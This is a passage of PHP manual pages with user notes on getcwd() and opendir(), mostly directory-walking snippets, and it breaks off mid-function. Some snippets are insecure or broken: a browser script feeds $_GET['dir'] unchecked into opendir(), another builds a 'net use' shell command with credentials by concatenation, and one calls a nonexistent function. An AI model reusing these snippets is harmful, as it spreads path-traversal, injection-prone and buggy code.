/usr/bin$: /home/johndoe/Work/script.php
So here's a better and simpler way (I think this one works for all cases)
<?php
function get_file_dir() {
    global $argv;
    return realpath($argv[0]);
}
?>
Knock yourself out :)
znupi69NOSPAMHERE at gmail dot com 02-Mar-2008 07:01
When running PHP on the command line, if you want to include another file which is in the same directory as the main script, doing just
<?php
include './otherfile.php';
?>
might not work, if you run your script like this:
/$ /path/to/script.php
because the current working dir will be set to '/', and the file '/otherfile.php' does not exist, because it is in '/path/to/otherfile.php'.
So, to get the directory in which the script resides, you can use this function:
<?php
function get_file_dir() {
    global $argv;
    $dir = dirname(getcwd() . '/' . $argv[0]);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}
?>
So you can use it like this:
<?php
include get_file_dir() . '/otherfile.php';
// or even..
chdir(get_file_dir());
include './otherfile.php';
?>
Spent some time thinking this one out, maybe it helps someone :)
leonbrussels at gmail dot com 17-Dec-2007 08:10
This is a function to convert a path which looks something like this:

/home/www/somefolder/../someotherfolder/../

To a proper directory path:

<?php

function simplify_path($path) {

//saves our current working directory to a variable
$oldcwd = getcwd();
//changes the directory to the one to convert
//$path is the directory to convert (clean up), handed over to the //function as a string

chdir($path);
return gstr_replace('\\', '/', getcwd());

//change the cwd back to the old value to not interfere with the script
chdir($oldcwd);

}

This function is really useful if you want to compare two filepaths which are not necesarily in a "cleaned up" state. It works in *NIX and WINDOWS alike

?>
ab5602 at wayne dot edu 30-Sep-2007 10:33
If getcwd() returns nothing for you under Solaris with an NFS mounted subdirectory, you are running into an OS bug that is supposedly fixed in recent versions of Solaris 10.  This same OS bug effects the include() and require() functions as well.
troy dot cregger at gmail dot com 26-Jan-2007 12:10
Take care if you use getcwd() in file that you'll need to include (using include, require, or *_once) in a script located outside of the same directory tree.

example:
<?php
//in /var/www/main_document_root/include/MySQL.inc.php
if (strpos(getcwd(),'main_')>0) {
  //code to set up main DB connection
}
?>

<?php
//in home/cron_user/maintenance_scripts/some_maintenance_script.php
require_once ('/var/www/main_document_root/include/MySQL.inc.php');
?>

In the above example, the database connection will not be made because the call to getcwd() returns the path relative to the calling script ( /home/cron_user/maintenance_scripts ) NOT relative to the file where the getcwd() function is called.
mark dot phpnetspam at mhudson dot net 03-Nov-2006 01:42
This function is often used in conjuction with basename(), i.e.
http://www.php.net/manual/en/function.basename.php
hodgman at ali dot com dot au 06-Sep-2006 07:58
I use this code to replicate the pushd and popd DOS commands in PHP:

<?php
$g_DirStack = array();
function pushd( $dir )
{
    global $g_DirStack;
    array_push( $g_DirStack, getcwd() );
    chdir( $dir );
}
function popd( )
{
    global $g_DirStack;
    $dir = array_pop( $g_DirStack );
    assert( $dir !== null );
    chdir( $dir );
}
?>

This allows you to change the current directory with pushd, then use popd to "undo" the directory change when you're done.
emailfire at gmail dot com 08-Dec-2005 06:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com 07-Dec-2005 03:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk 04-May-2005 08:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com 27-Jan-2005 03:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org 21-Jun-2004 09:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us 10-Dec-2003 10:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.


打开目录句柄

  • ? getcwd
  • readdir ?
  • PHP Manual
  • 目录函数函数
  • 打开目录句柄

opendir

(PHP 4, PHP 5, PHP 7, PHP 8)

opendir — 打开目录句柄

说明

opendir(string $directory, ?resource $context = null): resource|false

打开一个目录句柄，可用于之后的 closedir()，readdir() 和 rewinddir() 调用中。

参数

directory

要打开的目录路径

context

context 参数的说明见手册中的 Streams API 一章。

返回值

如果成功则返回目录句柄的 resource， 或者在失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

如果 directory 不是有效的目录，由于权限不足或文件系统错误而无法打开目录，则可能会发生这种情况。

更新日志

版本 | 说明
8.0.0 | 现在 context 允许为 null。

示例

Example #1 opendir() 示例

<?php
$dir = "/etc/php5/";

// 打开已知目录，然后继续读取内容
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
}
closedir($dh);
}
}
?>

以上示例的输出类似于：

filename: . : filetype: dir
filename: .. : filetype: dir
filename: apache : filetype: dir
filename: cgi : filetype: dir
filename: cli : filetype: dir

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • readdir() - 从目录句柄中读取条目
  • dir() - 返回一个 Directory 类实例

User Contributed Notes

Alex Dawn 15-Mar-2023 05:56
<?php

/**
 * These functions pair up nicely with generators, to hide away
 * all the messy file handlers (a bit like python's with blocks)
 * remove the echos they are just to demo how the generator
 * works with the foreach loop.
 *
 * @param string $filepath
 * @return Generator<string>
 */
function generateFiles(string $filepath): Generator
{
    echo "opening handle" . PHP_EOL;
    $handle = opendir($filepath);
    // looks more complex than needed but the docs says the type check is important
    // https://www.php.net/manual/en/function.readdir.php
    try {
        while (false !== ($entry = readdir($handle))) {
            yield $entry;
        }
    } finally {
        closedir($handle);
        echo "closed handle" . PHP_EOL;
    }
}

foreach (generateFiles('.') as $file) {
    echo $file . PHP_EOL;
}
hxss at ya dot ru 06-Sep-2017 11:02
The TRUE recursive map function for working with dirs & files.
You can create, read(find), update(or move) or delete files/dirs/tree by your callable function.
You can use flags for select what content you need.

<?php
var_dump(dirmap($dst, function($v) {
    pre($v);
    return true;
}, 1|2|4|8));

/**
 * Applies the callback to the entries of the given dir path
 * In accordance with the received flags
 * @param  string   $path   path of the working directory
 * @param  Callable $action Callable function that would be
 *     executed for every entry in path
 * @param  integer  $flags  can be the following flag:
 *     1: apply Callable function for files
 *     2: apply Callable function for directories
 *     4: apply Callable function for $path
 *     8: work recursively
 * @return bool bitwise AND of all (bool)$action calls results
 */
function dirmap(string $path, Callable $action, int $flags = 15) {
    $flF = boolval($flags & 1);
    $flD = boolval($flags & 2);
    $flP = boolval($flags & 4);
    $flR = boolval($flags & 8);
    $result = 1;

    if (is_dir($path)) {

        $dir = opendir($path);
        while ($entry = readdir($dir))
            if (!in_array($entry, ['.', '..'])) {
                $fullEntry = "{$path}/{$entry}";

                if ($flR)
                    $result &= dirmap($fullEntry, $action, $flags & 11);

                if ($flF && is_file($fullEntry) || $flD && is_dir($fullEntry))
                    $result &= (bool)call_user_func($action, $fullEntry);
            }

        if ($flP)
            $result &= (bool)call_user_func($action, $fullEntry);

        return (bool)$result;
    } else
        return is_file($path);
}
?>
sergio dot barrios at upr dot edu dot cu 02-Aug-2016 03:08
iterated function that searches a folder or file in a directory.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
hz_php at hotmail dot com { hussam alzahabi } 24-Apr-2016 10:59
Sometimes the programmer needs to access folder content which has arabic name but the opendir function will return null resources id

for that we must convert the dirname charset from utf-8 to windows-1256 by the iconv function just if the preg_match function detect arabic characters and use " U " additionality to enable multibyte matching

<?php

$dir = ("./"); // on this file dir

// detect if the path has arabic characters and use " u "  optional to enable function to match multibyte characters

if (preg_match('#[\x{0600}-\x{06FF}]#iu', $dir) )
{

    // convert input ( utf-8 ) to output ( windows-1256 )

    $dir = iconv("utf-8","windows-1256",$dir);

}

 if( is_dir($dir) )
 {

     if(  ( $dh = opendir($dir) ) !== null  )
     {

         while ( ( $file = readdir($dh) ) !== false  )
         {

             echo "filename: ".$file ." filetype : ".filetype($dir.$file)."<br/>";

         }

     }

 }

?>
olivernassar.com 03-Aug-2009 01:46
Hopefully this helps someone else. Returns a list of all the files in the directory and any subdirectories.
Excludes files/folders that are in the $exempt array. Can modifiy it so files aren't passed by reference fairly easily.

<?php

    function getFiles($directory,$exempt = array('.','..','.ds_store','.svn'),&$files = array()) {
        $handle = opendir($directory);
        while(false !== ($resource = readdir($handle))) {
            if(!in_array(strtolower($resource),$exempt)) {
                if(is_dir($directory.$resource.'/'))
                    array_merge($files,
                        self::getFiles($directory.$resource.'/',$exempt,$files));
                else
                    $files[] = $directory.$resource;
            }
        }
        closedir($handle);
        return $files;
    }

?>
Anonymous 24-Jul-2009 08:42
If you want to iterate through a directory, have a look at the SPL DirectoryIterator:
http://php.net/manual/class.directoryiterator.php
Madog Llwyd 09-May-2009 05:22
A simple piece to open a directory and display any files with a given extension. Great for things like newsletters, score sheets or the like where you just want to make it easy on the user - they just dump in the file with the correct extension and it's done. A link is given to the file which opens up in a new window.

<?php
  $current_dir = "$DOCUMENT_ROOT"."dirname/";    //Put in second part, the directory - without a leading slash but with a trailing slash!
  $dir = opendir($current_dir);        // Open the sucker

  echo ("<p><h1>List of available files:</h1></p><hr><br />");
  while ($file = readdir($dir))            // while loop
    {
    $parts = explode(".", $file);                    // pull apart the name and dissect by period
    if (is_array($parts) && count($parts) > 1) {    // does the dissected array have more than one part
        $extension = end($parts);        // set to we can see last file extension
        if ($extension == "ext" OR $extension == "EXT")    // is extension ext or EXT ?
             echo "<a href=\"$file\" target=\"_blank\"> $file </a><br />";    // If so, echo it out else do nothing cos it's not what we want
        }
    }
  echo "<hr><br />";
  closedir($dir);        // Close the directory after we are done
?>
DaveRandom 18-Apr-2009 09:08
A couple of notes on Matt's posts on Windows Network Drives:

Since the system() command writes the output of the executed shell command straight to the output buffer, if you wish to hide the return of the mapping command (i.e. "The command completed succesfully" or an error message) from a web browser, you need to alter the command that is sent to the shell so that the output of that command is hidden.

You probably thinking "why not just use exec()?", and it's a reasonable question, but for some reason it doesn't always work - I guess it's another NT user permissions issue. If you want to guarantee you app will work with no messing around on the host system, use the system() command.

In the Windows command shell, you can hide the output of a command by sending both the output (1) and error (2) messages to "nul" using pipes, in other words ">nul 2>&1" on the end of the command. The username and password order in the "net use..." command needs switching in Matt's post.

Here (http://networkm.co.uk/static/drive.html) is a function I wrote to dynamically choose which drive letter to use, based on what is currently mapped and accessible to PHP.

<?php

// Define the parameters for the shell command
$location = "\\servername\sharename";
$user = "USERNAME";
$pass = "PASSWORD";
$letter = "Z";

// Map the drive
system("net use ".$letter.": \"".$location."\" ".$pass." /user:".$user." /persistent:no>nul 2>&1");

// Open the directory
$dir = opendir($letter.":/an/example/path")

...

?>
Richard Bronosky 11-Mar-2009 09:14
The easiest way to get a dir listing and sort it is to exec() out to ls (eg:'ls -t'). But, that is considered "unsafe". My hosting company finally caught me doing it so here is my fastest solution. (Lucky for me each file is created with a Unix Timestamp at the end of the name and no other numbers in it.)

<?php
#exec('ls -t ./images/motion_detection/', $files); # They outlawed exec, so now I have to do it by hand.
if ($handle = opendir('./images/motion_detection/')) {
    $files=array();
    while (false !== ($file = readdir($handle))) {
        $files[$file] = preg_replace('/[^0-9]/', '', $file); # Timestamps may not be unique, file names are.
    }
    closedir($handle);
    arsort($files);
    $files=array_keys($files);
}
?>

Before you go copying someone's bloat kitchen sink function/class, consider what you have and what you really need.
php at uchange dot co dot uk 05-Dec-2008 09:36
Having spent an hour or so trying to get a complete list of files from a network share on Windows, I've given up (Apache 2.2 Win32, WinXP, PHP5 -> Windows 2000 R2).

Trying to use a mapped drive letter gives me an error and trying to use the UNC path works but is dog slow (it takes a couple of minutes to open and readdir() a directory with a couple of hundred files).

Using this code is fast and instant (you'll have to chop up the output yourself but so be it!)

$out = `dir $dir /B /S`;

If you don't need recursive subdirectories remove the /S from the command - for more details run 'dir /?' on Windows.

Hope this helps somebody in a similar fix!
archipel dot gb at online dot fr 22-Jun-2008 10:20
Here are two versions of the same function to list all files in a directory tree.

The first one is recursive (calls itself while going through subdirectories) :
<?php
function rec_listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    if( $dh = opendir($from))
    {
        while( false !== ($file = readdir($dh)))
        {
            // Skip '.' and '..'
            if( $file == '.' || $file == '..')
                continue;
            $path = $from . '/' . $file;
            if( is_dir($path) )
                $files += rec_listFiles($path);
            else
                $files[] = $path;
        }
        closedir($dh);
    }
    return $files;
}
?>

The second one is iterative (uses less memory) :
<?php
function listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    $dirs = array( $from);
    while( NULL !== ($dir = array_pop( $dirs)))
    {
        if( $dh = opendir($dir))
        {
            while( false !== ($file = readdir($dh)))
            {
                if( $file == '.' || $file == '..')
                    continue;
                $path = $dir . '/' . $file;
                if( is_dir($path))
                    $dirs[] = $path;
                else
                    $files[] = $path;
            }
            closedir($dh);
        }
    }
    return $files;
}
?>
The iterative version should be a little faster most of the time, but the big difference is in the memory usage.

Here is also a profiling function (works in php5 only) :
<?php
function profile( $func, $trydir)
{
    $mem1 = memory_get_usage();
    echo '<pre>-----------------------
Test run for '.$func.'() ...
'; flush();

    $time_start = microtime(true);
    $list = $func( $trydir);
    $time = microtime(true) - $time_start;

    echo 'Finished : '.count($list).' files</pre>';
    $mem2 = memory_get_peak_usage();

    printf( '<pre>Max memory for '.$func.'() : %0.2f kbytes
Running time for '.$func.'() : %0.f s</pre>',
    ($mem2-$mem1)/1024.0, $time);
    return $list;
}
?>
kdouglas at satarah dot com 15-May-2008 04:22
Breadth-first-search (BFS) for a file or directory (vs. Depth-first-search)
http://en.wikipedia.org/wiki/Breadth-first_search

<?php

// Breadth-First Recursive Directory Search, for a File or Directory
// with optional black-list paths and optional callback function.
//
// $root -- is the relative path to the start-of-search directory
// $file -- is the qualified file name: 'name.ext' EX: 'data.xml'
//    (or) $file -- is the target directory name EX: 'xml_files'
// $callback -- is an optional function name and will be passed all
//    matching paths EX: 'my_func', instead of exiting on first match
// $omit -- is an optional array of exclude paths -- relative to root
//    To use $omit but not $callback, pass NULL as the $callback argument
//
// TESTING VALUES FOLLOW ...

function my_func ( $path ) {
  print "<strong>$path</strong><br>\n";
}

$root = '../public_html';
$file = 'data.xml';
$callback = 'my_func';
$omit = array( 'include/img', 'include/css', 'scripts' );

//print breadth_first_file_search ( $root, $file );
//print breadth_first_file_search ( $root, $file, $callback );
//print breadth_first_file_search ( $root, $file, NULL, $omit );
print breadth_first_file_search ( $root, $file, $callback, $omit );

function breadth_first_file_search ( $root, $file, $callback = NULL, $omit = array() ) {
  $queue = array( rtrim( $root, '/' ).'/' ); // normalize all paths
  foreach ( $omit as &$path ) { // &$path Req. PHP ver 5.x and later
    $path = $root.trim( $path, '/' ).'/';
  }
  while ( $base = array_shift( $queue ) ) {
    $file_path = $base.$file;
    if ( file_exists( $file_path ) ) { // file found
      if ( is_callable( $callback ) ) {
        $callback( $file_path ); // callback => CONTINUE
      } else {
        return $file_path; // return file-path => EXIT
      }
    }
    if ( ( $handle = opendir( $base ) ) ) {
      while ( ( $child = readdir( $handle ) ) !== FALSE ) {
        if ( is_dir( $base.$child ) && $child != '.' && $child != '..' ) {
          $combined_path = $base.$child.'/';
          if ( !in_array( $combined_path, $omit ) ) {
            array_push( $queue, $combined_path);
          }
        }
      }
      closedir( $handle );
    } // else unable to open directory => NEXT CHILD
  }
  return FALSE; // end of tree, file not found
}

?>
Peter Hkansson 11-Dec-2007 09:01
Would you like to view your directories in your browser this script might come in handy.

<?php
$sub = ($_GET['dir']);
$path = 'enter/your/directory/here/';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
            if (substr($file, -4, -3) =="."){
            echo "$i. $file <br />";
            }else{
        echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
          }
        $i++;
    }
}
closedir($dh);
?>
mana at averna dot com 07-Dec-2007 03:02
I was trying to access network drives using this opendir function. I read so many posts saying that it was almost impossible to access a network drive and finally, I found the answer; there are 2 steps to be followed to access a network drive with PHP either on the same machine or another machine.

But first of all, here's the error I was getting:
Warning: opendir(\\server\folder1\sub_folder) [function.opendir]: failed to open dir: No error in C:\wamp\www\PMOT\v0.1\REPORT_MENU\index.php on line 17

Firstly, one must make sure that the folder \\server\folder1\sub_folder can be accessed by a user, let's say USER_TEST with a password PASS_TEST. By setting properties to this folder, one can add this given user with the correct password (USER_TEST with PASS_TEST).

Secondly, the APACHE service must be set-up to take this user into account. If no user is specified, APACHE uses an anonymous user and this is where the problem/error message is coming from. One must go in control panel->administrative tools->services. One will see the list of services and must look for APACHE with Apache/2.X.X in the description. (For Wampserver, it will be called wampapache, and so on!) Right click on that and pop up the properties screen. In the tab LOG ON, there are 2 options: local system account and "this account" which will be a user specified account. This is where one must specify the USER_TEST and PASS_TEST.

Following these steps worked perfectly for me but if either the folder privileges or apache log on user is disabled, then I get the initial aforementioned error message.

Anyways, I hope this can help out someone!

Cheers!

Marc
MetaNull 04-Oct-2007 11:39
An other way to recursively walk a directory and it's content, applying a callback to each file.

Exemple: Update the last modification time of each file in a folder

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));
// Touch all the files from the $root directory
if( false === m_walk_dir( $root, "m_touch_file", true )) {
    echo "'{$root}' is not a valid directory\n";
}

// Walk a directory recursivelly, and apply a callback on each file
function m_walk_dir( $root, $callback, $recursive = true ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        call_user_func( $callback, "{$root}/{$file}" );
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_walk_dir( "{$root}/{$file}", $callback, $recursive );
        }
    }
    closedir( $dh );
    return true;
}

// if the path indicates a file, run touch() on it
function m_touch_file( $path ) {
    echo $path . "\n";
    if( !is_dir( $path )) {
        touch( $path );
    }
}

?>
lolwut 13-May-2007 06:00
I sometimes find this useful. Hope you will too.

<?php
//list_by_ext: returns an array containing an alphabetic list of files in the specified directory ($path) with a file extension that matches $extension

function list_by_ext($extension, $path){
    $list = array(); //initialise a variable
    $dir_handle = @opendir($path) or die("Unable to open $path"); //attempt to open path
    while($file = readdir($dir_handle)){ //loop through all the files in the path
        if($file == "." || $file == ".."){continue;} //ignore these
        $filename = explode(".",$file); //seperate filename from extenstion
        $cnt = count($filename); $cnt--; $ext = $filename[$cnt]; //as above
        if(strtolower($ext) == strtolower($extension)){ //if the extension of the file matches the extension we are looking for...
            array_push($list, $file); //...then stick it onto the end of the list array
        }
    }
    if($list[0]){ //...if matches were found...
    return $list; //...return the array
    } else {//otherwise...
    return false;
    }
}

//example usage
if($win32_exectuables = list_by_ext("exe", "C:\WINDOWS")){
    var_dump($win32_exectuables);
} else {
    echo "No windows executables found :(\n";
}

?>
Michael mt1955 (a) gmail.com 11-May-2007 07:59
# simple directory walk with callback function

<?php
function callbackDir($dir)
{
   # do whatever you want here
   echo "$dir\n";
}

function walkDir($dir,$fx)
{
  $arStack = array();
  $fx($dir);
  if( ($dh=opendir($dir)) )
  { while( ($file=readdir($dh))!==false )
    { if( $file=='.' || $file=='..' ) continue;
      if( is_dir("$dir/$file") )
      { if( !in_array("$dir/$file",$arStack) ) $arStack[]="$dir/$file";
      }
    }
    closedir($dh);
  }
  if( count($arStack) )
  { foreach( $arStack as $subdir )
    { walkDir($subdir,$fx);
    }
  }
}

walkDir($root,callBackDir);
?>
NerdyDork 08-Feb-2007 08:36
Here is a snippet to create a site map of all html files in a folder:

<?php
    // read all html file in the current directory
    if ($dh = opendir('./')) {
        $files = array();
        while (($file = readdir($dh)) !== false) {
            if (substr($file, strlen($file) - 5) == '.html') {
                array_push($files, $file);
            }
        }
        closedir($dh);
    }

    // Sort the files and display
    sort($files);
    echo "<ul>\n";
    foreach ($files as $file) {
        $title = Title($file);
        echo "<li><a href=\"$file\" title=\"$title\">$title</a></li>\n";
    }
    echo "</ul>\n";

    // Function to get a human readable title from the filename
    function Title($filename) {
        $title = substr($filename, 0, strlen($filename) - 5);
        $title = str_replace('-', ' ', $title);
        $title = ucwords($title);
        return $title;
    }
?>
frogstarr78 at yahoo dot com 21-Jan-2007 12:30
Here's a function that will recrusively turn a directory into a hash of directory hashes and file arrays, automatically ignoring "dot" files.

<?php
function hashify_directory($topdir, &$list, $ignoredDirectories=array()) {
    if (is_dir($topdir)) {
        if ($dh = opendir($topdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectories) > -1) && preg_match('/^\./', $file) == 0) {
                    if (is_dir("$topdir$file")) {
                        if(!isset($list[$file])) {
                            $list[$file] = array();
                        }
                        ksort($list);
                        hashify_directory("$topdir$file/", $list[$file]);
                    } else {
                        array_push($list, $file);
                    }
                }
            }
            closedir($dh);
        }
    }
}
?>

e.g.
<?php
$public_html["StudentFiles"] = array();
hashify_directory("StudentFiles/", $public_html["StudentFiles"]);
?>
on the directory structure:
./StudentFiles/tutorial_01/case1/file1.html
./StudentFiles/tutorial_01/case1/file2.html
./StudentFiles/tutorial_02/case1/file1.html
./StudentFiles/tutorial_02/case2/file2.html
./StudentFiles/tutorial_03/case1/file2.html
etc...
becomes:
<?php
print_r($public_html);
/*
outputs:
array(
  "StudentFiles" => array (
        "tutorial_01" => array (
              "case1" => array( "file1.html", "file2.html")
        ),
        "tutorial_02" => array (
              "case1" => array( "file1.html"),
              "case2" => array( "file2.html")
        ),
       "tutorial_03" => array (
              "case1" => array( "file2.html")
       )
  )
)
*/
?>
I'm using it to create a tree view of a directory.
phpguy at mailstop dot yogelements dot omitme dot com 13-Dec-2006 01:40
An issue that I ran into is that opendir() could care less if you've got server authentication set on sub directories and so any such authentication is bypassed completely when accesses in this way. I did solve it for my application of a pretty file manager, by redirecting to all sub directories thusly:
$fdir = "./subdirectory_I_want_to_visit/";
if ($fdir != './') { //basically where we are or the parent
    //redirect the browser to force authentication check on any subdirectories
    header("Location: http://my.domain.com".dirname($_SERVER["PHP_SELF"]).substr($fdir,2));
    exit;
} else {
    $dir = opendir($fdir);
}
tim2005 13-May-2006 05:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
    $teller = 0;
    if ($handle = opendir($dir)) {
        $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
        $mydir .= "<select name=\"".$select_name."\">\n";
        $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
        $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
        while (false !== ($file = readdir($handle))) {
            $files[] = $file;
        }
        closedir($handle);
        sort($files);
        foreach ($files as $val) {
            if (is_file($dir.$val)) { // show only real files (ver. 1.01)
                $mydir .= "    <option value=\"".$val."\"";
                $mydir .= ($val == $curr_val) ? " selected>" : ">";
                $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
                $teller++;
            }
        }
        $mydir .= "</select>";
    }
    if ($teller == 0) {
        $mydir = "No files!";
    } else {
        return $mydir;
    }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler 15-Apr-2006 01:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
    echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 07:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com 28-Dec-2005 08:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
    $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
    if(is_array($list2)) {
        $directorylist = array_merge($directorylist, $list2);
    }
}
?>
mstabile75 at gmail dot com 27-Dec-2005 07:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
    //list the directory/file names that you want to ignore
    $ignoredDirectory[] = ".";
    $ignoredDirectory[] = "..";
    $ignoredDirectory[] = "_vti_cnf";
    global $directorylist;    //initialize global array
    if (is_dir($startdir)) {
        if ($dh = opendir($startdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
      }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
    echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com 10-Dec-2005 11:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
        if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                        if( $file != "." && $file != ".." )
                        {
                                if( is_dir( $dir . $file ) )
